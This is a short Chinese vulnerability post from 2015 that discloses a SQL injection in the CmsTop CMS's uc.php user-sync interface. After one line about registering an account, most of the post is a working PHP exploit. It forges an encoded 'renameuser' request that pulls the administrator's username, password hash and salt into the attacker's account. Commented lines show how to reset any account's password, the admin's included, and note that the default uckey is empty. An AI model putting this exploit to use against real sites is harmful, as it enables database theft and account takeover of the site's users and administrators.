Cmstop某处sql注入漏洞

2015-08-28 - Cmstop, 漏洞预警

首先得注册一个账号。
http://app.cmstop.org/?app=member&controller=index&action=login
我就注册了个123123331来演示吧.

//账号 123123331 密码 123123331
//http://app.cmstop.org/?app=member&controller=panel&action=index

接口: http://app.cmstop.org/api/uc.php?code=$code;
exp:
<code>
<?php
$_G[‘time’] =  time()+10*36000;
$_G[‘action’] =  ‘renameuser’;
$_G[‘newusername’] = “123123331′,email=(SELECT ROW FROM(SELECT CONCAT(userid,0x7c,username,0x7c,PASSWORD,0x7c,salt) ROW FROM #table_member WHERE userid = 1 limit 0,1)X1 )  where username = ‘123123331’ #”;//把数据更新到你的账号上。
$code = urlencode(_authcode(http_build_query($_G), ‘ENCODE’));
echo $code;
//     http://app.cmstop.org/api/uc.php?code=$code;

//      修改任意账号密码也很简单 包括管理员。。
//    $password = md5(md5(‘12345′).’nOxxxx’);
//    $_G[‘newusername’] = “123123331′,password='{$password}’,salt=’nOxxxx’ where
//      username = ‘123123331’ #”;
//
//
//
//
//     注:(大众版的uckey默认是空的)
